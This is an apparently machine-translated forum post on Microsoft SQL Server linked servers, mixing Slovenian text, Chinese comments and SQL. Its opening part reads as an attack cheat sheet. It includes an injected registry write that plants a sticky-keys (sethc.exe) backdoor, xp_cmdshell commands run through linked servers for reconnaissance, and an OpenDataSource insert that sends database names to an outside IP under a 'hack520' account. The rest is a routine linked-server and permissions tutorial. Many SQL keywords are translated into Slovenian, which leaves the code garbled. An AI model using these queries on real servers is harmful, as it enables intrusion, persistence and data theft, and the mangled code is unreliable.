\CurrentVersion\Image File Execution Options\sethc.exe',''bugugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Poizvedba na strežnik povezav
izbrati

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
izbrati

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Poizvedba linkserver2
Izberi Distinct Hostname,db_name(dbid),net_address,loginame,program_name iz

Mojster.. Sysprocesi



Poizvedba na strežnik povezav
in drugi prijavljeni uporabniki
Select * from [192.168.1.1].master.dbo.syslogins



Poizvedba linkserverja
Vse baze podatkov
izberite * iz linkedSrvWeb.master.dbo.sysdatabases



Izvajanje razširjenega shranjevanja na LinkServerju
izvršni [IP].master.dbo.xp_cmdshell



Poizvedba po vseh tabelah na strežniku povezav
Izberite * iz [IP].master.dbo.sysobjects








Izberi * iz OpenRowset

('sqloledb','server=IP; uid=uporabnik; pwd=password','select @@version')


select * from openquery([LINKSERVER

ime],'izberi @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * from openquery(GM_SERVER,'select * from sysobjects where xtype = (''U'')')


Izberi * iz

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Select * from openquery(toatdeweb,'select

srvname iz master.dbo.sysservers')


Vstavi v OpenDataSource

('sqloledb','server=222.241.95.12; uid=SCD; pwd=a123520; database=hack520').hack520.dbo.zhu select

ime iz master.dbo.sysdatabases
Create database hack520 Create TABLE zhu(name nvarchar(256)

null); Ustvari TABELO J8(id int NULL, ime nvarchar(256) null);


Izberite * iz OpenQuery

(toatdeweb,'set fmtonly off executive master.dbo.xp_cmdshell ''net user'')


Izvršni mojster.. xp_dirtree

'c:\',1,1
Izvedite imenik poizvedb


Izvršne povezave. Mojster.. xp_cmdshell 'ipconfig'


Select * from openquery(toatdeweb,'set

fmtonly off executive master.dbo.xp_cmdshell ''ipconfig /all''')



Connect mysql Select * iz Mem_DB. UserDB.dbo.AdminList


IZVRŠNI MOJSTER... XP_dirtree 'c:\',1,1




Izvršni odbor

master.dbo.xp_cmdshell 'dir'


Izberi Count(*) iz [Indicate]
Poizvedite, koliko podatkov je v trenutni tabeli




Select Distinct Hostname,db_name(dbid),net_address,loginame,program_name

Od mojstra.. Sysprocesi






Izberi * iz gamedb01. Server01.dbo.cabal_character_table kjer ime='

Prašič'





Ko ga izbrišete, piše: Baza podatkov se uporablja in je ni mogoče izbrisati.


Kliknite na bazo podatkov, ki jo želite izbrisati, da odprete Pregledovalnik dogodkov.


Vhod:


Uporaba   

mojster
Pojdi
Nato vnesite naslednje:
Declare @d varchar(8000)
množica @d= ' '
izberi @d=@d+ ' ubij   

'+cast(spid kot varchar)+char(13)
Od mojstra.. Sysprocesses, kjer dbid=db_id('ime knjižnice')
exec(@d)
--
Uporabite kodo za brisanje procesa, ki se najprej poveže s to bazo podatkov












MSSQL upravlja Oracle preko LinkServerja






1) Namestitev Oracle na strežnik SQL_SERVER 2005

9i stranka. Predpostavimo, da namestimo v mapo C:\ora92i\. Če je D: NTFS particija, moraš nastaviti nameščeno mapo ORACLE kot tisto, ki jo uporabljaš

Naročniki imajo pravico do zagonavanja, dodajanja in brisanja.


2)
Konfigurirajte datoteko C:\ora92i\network\ADMIN\tnsnames.ora. (Naslednje rdeče besedilo je primer konfiguracije)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
V DOS načinu zaženite naslednji ukaz, da potrdite, da je ORACLE odjemalec pravilno nameščen.


SQLPLUS uporabnik/password@ORCL


4)
Odprite Start - Nadzorna plošča - Storitve in potrdite, da je storitev Porazdeljenega koordinatorja transakcij zagnana.



5) Open SQL SERVER Management Studio, ime instanci (ORCL) - strežniški objekt (desni klik) - strežnik za novo povezavo.


1.      


Strežnik povezav: Zapišite ime povezanega strežnika, na primer OracleTest


2.         
Tip strežnika, izberite drug vir podatkov


3. Dostopni vmesnik:
Select Oracle Provider for OLE DB


4. Ime izdelka: Write Oracle


5. Vir podatkov: Zapis

Ime storitve, konfigurirano v datoteki tnsnames.ora, na primer ORCL


6.         
Uporabniški niz dostopa: userid=sys kot sysdba; geslo=geslo


7.         
Na strani Izbira varnostnih možnosti uporabite ta namestitveni kontekst za vzpostavitev povezave:


a) Oddaljena prijava: uporabnik (drugi uporabnik, ne sistemski sistem)


b)      

    Uporabi geslo: geslo


8. Nastavite "NT AUTHORITY\SYSTEM" na lokalni prijavi, sistem oddaljenega uporabnika in nastavite geslo


9.

         Si prepričan


6) Obstajata dva načina pisanja SQL


a) Uporaba T-SQL sintakse:


           IZBERI * IZ

OraTest.ERP.BAS_ITEM_CLASS


           Upoštevajte, da pri vnosu SQL stavkov v SQL Query Analyzerju bodite pozorni na kitajsko preklapljanje polne in polovične širine

Kako!


b) Uporaba PLSQL sintakse:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Metoda drugega dostopa je približno 50 % hitrejša od prve; Druga metoda dostopa je neposredno povezana

ORACLE je primerljiv; Metoda prvega dostopa lahko povzroči nekatere nepričakovane napake, kot so:
           Tabela ne obstaja, prav tako trenutni uporabnik ne obstaja

Do mize ni dostopa in tako naprej.


           d) Če stolpec, do katerega je treba dostopati, uporablja podatkovne tipe brez natančnosti, oba ta

To je napaka v ORACLE, ki je ni mogoče popraviti, in se ji lahko izognemo le s posebnim pristopom k poizvedbenim izjavam:


     Metapodatki, ki jih zagotavlja ponudnik OLE DB 'OraOLEDB.Oracle' za stolpce, so nedosledni. Metapodatki se spremenijo ob izvedbi.










MSSQL je dodal

Izbriši uporabnika in dodeli dovoljenja


Uporabi ime svoje knjižnice   
Pojdi   
--Dodaj uporabnike   
Izvršni sp_addlogin 'test' -- dodaj prijavo   
izvršni odbor

sp_grantdbaccess N'test' – kar pomeni, da je legitimni uporabnik trenutne baze podatkov   
izvršni sp_addrolemember N'db_owner',

N'test' - podeli vsa dovoljenja za lastno bazo podatkov   
--To ustvarja uporabnike, ki lahko dostopajo le do svoje baze podatkov in do vsebine, ki je v njej vključena

Javna miza za gostujoče uporabnike   
Pojdi   
--Odstrani testnega uporabnika   
izvršni sp_revokedbaccess N'test' -- Odstrani dostop do baze podatkov

Omejitev   
exeec sp_droplogin N'test' -- izbriši prijavo   
Če ga ustvarite v Enterprise Managerju, uporabite:   
Enterprise Manager - Varnost

Seks --Desni klik za prijavo--Nova prijava   
Splošni podatki   
--Vnesite uporabniško ime v ime   

--Način avtentikacije je izbran glede na vaše potrebe (če uporabljate Windows avtentikacijo, morate najprej ustvariti novega uporabnika med uporabniki operacijskega sistema)   

--V privzetih nastavitvah izberite ime baze podatkov, do katerega želite dostopati za novega uporabnika   
Postavka vloge strežnika   
Ne izbirajte ničesar v tem   
podatkovna zbirka

Dostopni element   
Preverite ime baze podatkov, do katere želite dostopati za uporabnika, ki ga ustvarite   
Dovoli v vlogi baze podatkov, označi "javno", "db_ownew"   
Seveda, tole

Uporabnik, ustvarjen z vzorcem, je enak uporabniku, ustvarjenemu z zgornjo izjavo   



Zadnji korak je nastavitev specifičnih dostopnih dovoljenj za določene uporabnike, kar lahko navedemo kot naslednji minimalni primer:   

--Dodaj uporabnike, ki imajo dostop le do določene tabele:   
izvršni sp_addlogin 'uporabniško ime', 'geslo', 'privzeto ime baze podatkov'   

--dodaj v bazo podatkov   
izvršni sp_grantdbaccess 'uporabniško ime'   

--Dodeli dovoljenja za celotno tabelo   
PODELI IZBIRO , VSTAVI , POSODOBI , IZBRIŠI NA TABELI1 NA [uporabniško ime]   
--Dodelite dovoljenja določenim stolpcem   
ODOBRI IZBIRO , POSODOBITEV NA TABELI1(ID,AA) NA [UPORABNIŠKO IME]   


Za specifične varnostne nastavitve in teoretično znanje se obrnite na SQL Online Help  







Opis vloge v fiksni bazi podatkov   
  db_owner Imeti polna dovoljenja v bazi podatkov.   

db_accessadmin Uporabniške ID-je lahko dodate ali odstranite.   

db_securityadmin Lahko upravlja polna dovoljenja, lastništvo objektov, vloge in članstva v vlogah.   

db_ddladmin lahko izdajo VSE DDL, vendar ne ODOBRI, PREKLIČI ali ZAVRNI.   

db_backupoperator lahko izdajo izkaze DBCC, CHECKPOINT in BACKUP.   

db_datareader Vse podatke lahko izberete iz katere koli uporabniške tabele v bazi podatkov.   

db_datawriter Vse podatke lahko spremenite v katerikoli uporabniški tabeli v bazi podatkov.   

db_denydatareader Iz nobene uporabniške tabele v bazi podatkov ne morete izbrati nobenih podatkov.   

db_denydatawriter V nobeni uporabniški tabeli v bazi podatkov ne morete spreminjati.  





Izberi db_datareader, db_datawriter, db_accessadmin




5.
Ko je SQL Server instanca zagnana v enouporabniškem načinu, lahko Windows administratorski račun uporabi orodje sqlcmd za povezavo v načinu avtentikacije Windows

SQL Server。 Uporabite lahko T-SQL ukaze, kot je "sp_addsrvrolemember", da dodate obstoječo prijavo v vlogo strežnika sistemskega administratorja

Ali ustvarite nov prijavni račun.
Primer izjave je naslednji:


IZVRŠNI sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


POJDI


Dodajte privilegij sistemskega administratorja








(1) Upravljanje strežniških vlog


V SQL Serverju obstajata dva glavna shranjena postopka, ki izvajata upravljanje vlog SQL Serverja:


sp_addsrvrolemember

in sp_dropsrvrolemember


sp_addsrvrolemember
Lahko dodate prijavni račun k strežniški vlogi, da postane član te strežniške vloge. Sintaksa je naslednja:
sp_addsrvrolemember

prijava, vloga


sp_dropsrvrolemember
Lahko izbrišete prijavni račun iz strežniške vloge, in ko je član odstranjen iz strežniške vloge, te strežniške vloge nima več

Dovoljenja nastavljena. Sintaksa je naslednja:
sp_dropsrvrolemember [@loginname=]'prijava,[@rolename=]'vloga'


v to

@loginname je ime prijavljenega uporabnika; @rolename je strežniška vloga.




(2) Upravljanje vlog v podatkovnih bazah


V SQL Serverju je podprto upravljanje podatkovnih baz

Obstaja šest glavnih vrst shranjenih postopkov, njihovi specifični pomeni in sintaksa pa so naslednji:


sp_addrole: Uporabljeno za ustvarjanje nove vloge v bazi podatkov;
sp_addrole

vloga, lastnik


sp_droprole: Uporablja se za odstranitev vloge baze podatkov iz trenutne vloge v podatkovni bazi;
sp_droprole vloga


sp_helprole:

Uporablja se za prikaz vseh informacij o vseh vlogah v bazi podatkov v trenutni bazi;
sp_helprole ['vloga']


sp_addrolemember: Uporablja se za pošiljanje v bazo podatkov

Dodajte uporabnike baze podatkov v vlogo, ki so lahko uporabniško določene standardne vloge ali fiksne vloge v bazi podatkov, vendar ne morejo biti

Vloge za prijavo.
sp_addrolemember vlogi, security_account


sp_droprolemember: Uporablja se za brisanje določenega lika

gospodinjstvo;
sp_droprolemember vloga, security_account


sp_helprolemember: Uporablja se za prikaz vseh članov vloge v podatkovni bazi


sp_helprolemember ['vloga']






MSSQL LINKSERVER poizvedba


----------------------------------------------------------------------------------
-- Avtor:

htl258(Tony)
-- Datum: 25. 6. 2010 22:23:18
-- Različica: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. julij 2008 14:43:34
-- Avtorske pravice (c) 1988-2008 Microsoft Corporation
--

Razvijalska izdaja na Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Predmet:
SQL podatkovne operacije med različnimi strežniškimi bazami podatkov
----------------------------------------------------------------------------------
--1.
Ustvarite strežnik povezav
--1.1 Ustvari ime povezave
EXEEC sp_addlinkedserver 'LinkName','','', 'SQLOLEDB',' ime oddaljenega strežnika

ali IP naslov' --
Če imate lastno ime instance, dodajte "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Ustvari prijavo (ali ustvari zemljevid prijave na strežnik povezav) (samo izberi eno smer)
--1.2.1
Prijava z Windows avtentikacijo
EXEC sp_addlinkedsrvlogin 'LinkName'
--ali EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Prijava s SQL avtentikacijo
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */
--2.
Podatkovne operacije, povezane s strežnikom povezav
--2.1 Primer poizvedbe
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

OD TonyLink.Mydb.dbo.tb */
--
2.2 Primer uvoza
SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

OD TonyLink.Mydb.dbo.tb */
--
2.3 Primer posodobitve
POSODOBITEV PovezavaIme.Baza podatkov Ime.Shema Ime.Tabela Ime SET polje ='vrednost' KJER polje = 'pogoj'
/*例如:UPDATE

tonyLink.Mydb.dbo.tb SET Persons='g' KJER Persons='a' */
--
2.4 Izbriši primere
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WHERE Persons='g' */
--3 preko funkcije rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metoda
-
3.1 Metoda OPENQUERY (zahteva pomoč strežnika povezav, ki ste ga pravkar ustvarili):
--
3.1.1 Primer poizvedbe
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. ime mize')
/*
Na primer: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Uvozni primeri
--3.1.2.1 Uvoz vseh stolpcev
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. Ime mize

') IZBERI * IZ lokalne tabele
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

IZ TB */
--3.1.2.2
Uvoz določenih stolpcev
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. ime tabele') (stolpec, stolpec...)
Stolpec SELECT,

Kolumna... IZ lokalne tabele
/*
Na primer: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
IZBRATI

RAZPON, RAVEN, OSEBE OD TB
*/
--3.1.3
Primeri posodobitev
POSODOBI OPENQUERY(Ime povezave, 'IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime tabele') polje SET = 'vrednost' KJER beseda

Segment = 'Stanje'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Osebe='a' */
--3.1.4
Izbriši primere
DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. ime tabele') KJER ime polja = 'stanje'
/*例

Na primer: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') KJER Persons='g' */
--3.2
Metoda OPENROWSET (ni treba uporabiti ustvarjenega imena povezave.) Če ime povezane instance ni privzeto, ga morate nastaviti v SQL Server ime ali IP naslov.

"\ime instance")
--3.2.1 Primer poizvedbe
--3.2.1.1
Poizvedba po metodi avtentikacije v Windows (ena od naslednjih metod je zadostna)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=sql server name ali

IP naslov; Trusted_Connection=da', ime baze podatkov. Arhitekturno ime. Ime mize)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=ime SQL strežnika ali IP naslov; Trusted_Connection=da', ime baze podatkov. Arhitekturno ime. Ime mize)
IZBERI * IZ

OPENROWSET('SQLOLEDB', 'server=sql ime strežnika ali IP naslov; Trusted_Connection=da','IZBERI * IZ baze podatkov

Ime. Arhitekturno ime. ime mize')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=ime sql strežnika ali IP naslov

Naslov; Trusted_Connection=da','IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime mize')
/*
Na primer: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)

Ali: IZBERI * IZ OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)

Ali: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da','IZBERI *

IZ Mydb.dbo.tb')

Ali: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da','IZBERI *

IZ Mydb.dbo.tb')
*/
--3.2.1.2 Poizvedba po metodi SQL avtentikacije (Ena od naslednjih metod je zadostna)
SELECT * FROM OPENROWSET

('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Arhitekturno ime. Ime mize)
IZBERI * IZ

OPENROWSET('SQLNCLI', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Arhitekturno ime. Ime mize)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password','SELECT *

FROM ime baze podatkov. Arhitekturno ime. ime mize')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=ime sql strežnika ali IP naslov; uid=

Uporabniško ime; pwd=password','SELECT * FROM ime baze podatkov. Arhitekturno ime. ime mize')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

ime strežnika'; 'uporabniško ime'; 'geslo', ime baze podatkov. Arhitekturno ime. Ime mize)
SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME'

'; 'uporabniško ime'; 'geslo', ime baze podatkov. Arhitekturno ime. Ime mize)
SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' uporabnik

ime'; 'Geslo', 'IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime mize')
SELECT * FROM OPENROWSET('SQLNCLI', 'sql Server

ime'; 'uporabniško ime'; 'Geslo', 'IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime mize')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Ali: IZBERI * IZ OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Ali: IZBERI * IZ OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

ali: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

ali: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

ali: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

ali: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')

ali: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Primer uvoza
--3.2.2.1 Uvoz vseh stolpcev
INSERT OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov

Naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Arhitekturno ime. Ime mize)
IZBERI * Iz lokalne tabele
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
IZBERI * IZ tb
*/
--3.2.2.2 Uvoz

Določite stolpce
INSERT OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Rack

Ime konstrukta. Ime tabele) (stolpec, stolpec...)
SELECT stolpec, stolpec... IZ lokalne tabele
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RAZPON,NIVO,Osebe)
IZBRATI

RAZPON, RAVEN, OSEBE OD TB
*/
--Opomba: Za bolj alternativne metode glejte primer poizvedbe .2.1, preprosto zamenjajte funkcijo OPENROWSET

Vsebina je zadostna.
--3.2.3 Primer posodobitve
UPDATE OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime

;p wd=password', ime baze podatkov. Arhitekturno ime. Ime mize)
Polje SET = 'vrednost'
KJER polje = 'stanje'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
KJER Osebe='a'
*/
--Opomba: Za bolj alternativne metode glejte primer poizvedbe .2.1, preprosto zamenjajte vsebino v OPENROWSET.
--3.2.4 Izbriši oznako

Primer
DELETE OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Ime sheme

.table name)
KJER ime polja = 'pogoj'
/*
Na primer: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
KJER

Persons='g'
*/
--Opomba:
Za bolj alternativne metode glejte primer poizvedbe .2.1, preprosto zamenjajte vsebino v OPENROWSET.
--3.3 OPENDATASOURCE metoda

(Ni vam treba uporabiti ustvarjenega imena povezave.) Če ime instance povezave ni privzeto, morate dodati \instance ime za SQL Server ali IP naslov

")
--3.3.1
Primer poizvedbe
--3.3.1.1 Poizvedba po metodi avtentikacije v Windows (Ena od naslednjih metod je zadostna)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',

'server=ime SQL strežnika ali IP naslov; Trusted_Connection=da'). Ime baze podatkov. Arhitekturno ime. Ime mize
IZBERI * IZ

OPENDATASOURCE ('SQLNCLI', 'server=ime sql strežnika ali IP naslov; Trusted_Connection=da'). Ime baze podatkov. Arhitekturno ime.

Ime mize
/*
Na primer: SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb

Ali: IZBERI * IZ OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb
*/
--3.3.1.2
Poizvedba po metodi SQL avtentikacije (ena od naslednjih metod je zadostna)
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=ime sql strežnika ali

IP naslov; uid=uporabniško ime; pwd=password').
Ime baze podatkov. Arhitekturno ime. Ime mize
SELECT * FROM OPENDATASOURCE ('SQLNCLI', 'server=ime sql strežnika ali IP naslov; uid=uporabnik

Ime; pwd=password').
Ime baze podatkov. Arhitekturno ime. Ime mize
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=ime sql strežnika ali IP naslov

Naslov; uid=uporabniško ime; pwd=password').
Ime baze podatkov. Arhitekturno ime. Ime mize
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=ime sql strežnika ali IP naslov

Naslov; uid=uporabniško ime; pwd=password').
Ime baze podatkov. Arhitekturno ime. Ime mize
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ali: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ali: IZBERITE * IZ OPENDATASOURCE ('SQLOLEDB','Data

Vir=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Ali: IZBERITE * IZ OPENDATASOURCE ('SQLNCLI','Data

vir=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Uvoz vseh stolpcev
VSTAVI OPENDATASOURCE ('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password').

Glede na ime knjižnice. Arhitekturno ime. Ime mize
IZBERI * Iz lokalne tabele
/*
Na primer: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
IZBRATI

* IZ TB
*/
--3.3.2.2
Uvoz določenih stolpcev
VSTAVI OPENDATASOURCE ('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password').

Glede na ime knjižnice. Arhitekturno ime. Ime tabele (stolpec, stolpec...)
SELECT stolpec, stolpec... IZ lokalne tabele
/*
Na primer: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(RAZDALJA, NIVO, OSEBE)
IZBERI RAZPON, STOPNJO, Osebe IZ TB
*/
--Opomba:
Za bolj alternativne metode glejte primer poizvedbe .3.1, preprosto zamenjajte vsebino v funkciji vrstic (OPENDATASOURCE).
--3.3.3 Primer posodobitve
POSODOBI OPENDATASOURCE('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password').
Ime baze podatkov. Arhitekturno ime. Ime mize
Polje SET = 'vrednost'
KJER polje = 'stanje'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
KJER Osebe='a'
*/
--Opomba:
Za bolj alternativne metode glejte primer poizvedbe .3.1, preprosto zamenjajte vsebino v funkciji vrstic (OPENDATASOURCE).
--3.3.4 Primer brisanja
DELETE OPENDATASOURCE('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password').
Ime baze podatkov. Arhitekturno ime. Ime mize
KJER ime polja = 'pogoj'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
KJER Persons='g'
*/
- Opomba: Več alternativ

Poglejte primer poizvedbe .3.1, preprosto zamenjajte vsebino v funkciji vrstic (OPENDATASOURCE).
--
Izbriši metodo povezanega strežnika
--Če v prihodnje ne uporabljate več informacij o povezavi, jih lahko izbrišete
--4.1
Izbriši podatke za prijavo (ali izbriši zemljevid uporabniških imen povezanega strežnika)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Na primer: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Izbriši ime povezanega strežnika
EXEC sp_dropserver 'LinkName', 'droplogins' – če so droplogini določeni,
Zemljevid prijave je treba pred brisanjem povezanega strežnika izbrisati
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Priloženo


Kako pridobiti ime izvajalca (EXEC master). xp_enum_oledb_providers)
SELECT CAST([Ime ponudnika] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
IZ

OPENROWSET(
'SQLOLEDB',
'Strežnik=.; Trusted_Connection=da',
'ZAČNI FMTONLY;
IZVRŠNI ODBOR

Mojster.. xp_enum_oledb_providers'
)




Prejšnji:Postopek obravnave ranljivosti UCloud in podrobnosti o nagrajevanju
Naslednji:Danes lahko ujamem vlak domov, pa doma nisem bil več kot pol leta
Objavljeno na 27. 09. 2017 17:43:11 |
Zelo podrobno, hvala.
 Najemodajalec| Objavljeno na 17. 06. 2023 11:12:11 |
Testirajte SQL injekcijsko testiranje z orodjem za infiltracijo SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com